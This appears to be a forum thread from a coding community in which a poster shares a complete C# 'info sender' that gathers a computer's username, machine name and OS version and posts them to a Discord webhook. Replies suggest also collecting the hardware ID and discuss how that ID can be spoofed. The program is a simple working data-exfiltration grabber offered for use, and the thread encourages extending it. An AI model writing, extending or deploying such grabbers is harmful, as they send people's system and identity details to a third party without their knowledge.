Categories > Coding > C# >
[C#] Basic Info Sender
Posted
Showcase:
https://cdn.discordapp.com/attachments/967085236015992842/1137739696898842715/2023-08-06_15-23-40.mp4
using System;
using System.Net.Http;
using System.Text;
using Newtonsoft.Json;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
string webhookUrl = "here webhuk little guy";
string userName = Environment.UserName;
string machineName = Environment.MachineName;
string osVersion = Environment.OSVersion.ToString();
var embed = new
{
title = "notserp was here btw",
description = $"Username: {userName}\nMachine Name: {machineName}\nOS Version: {osVersion}",
color = 16711680 // red
};
var payload = new
{
content = "user info",
embeds = new[] { embed }
};
string jsonPayload = JsonConvert.SerializeObject(payload);
using (var client = new HttpClient())
{
var content = new StringContent(jsonPayload, Encoding.UTF8, "application/json");
var response = client.PostAsync(webhookUrl, content).Result;
Console.WriteLine(response.StatusCode);
}
Console.WriteLine("press any key to exit...");
Console.ReadKey();
}
}
}
Cancel
Post
https://cdn.discordapp.com/attachments/968557692639666267/1139574673630318632/lodlk.png
https://cdn.discordapp.com/attachments/921008361342902274/1144217307170742363/Bez_tytuu692.png
Replied
Pretty nice and cool but usually the OS is always wrong or barely works
also you can try getting the HWID by using WindowsIdentity.GetCurrent().User.Value;
Cancel
Post
"dont like skiddy widdy but sometimes i accidentally am"
https://cdn.discordapp.com/attachments/1133594956074852392/1154235201887678545/We_are_devs_image.png
Replied
I don't understand the point in sending this information.
Comments
Mikrofalufka 5 Reputation
Commented
Just was bored
Cancel
Post
Random quote here...
Users viewing this thread:
( Members: 0, Guests: 1, Total: 1 )
Comments
soulgod 0 Reputation
Commented
the problem with this method is that if you are trying to do an hwid ban on that user specifically, it would be useless since that method of retrieving the hwid comes from a registry file which can easily be spoofed and be changed. Using the computer's part would be better as they never change.
0
LordAlpha0101 0 Reputation
Commented
true true but i jsut sent that as something he could add
0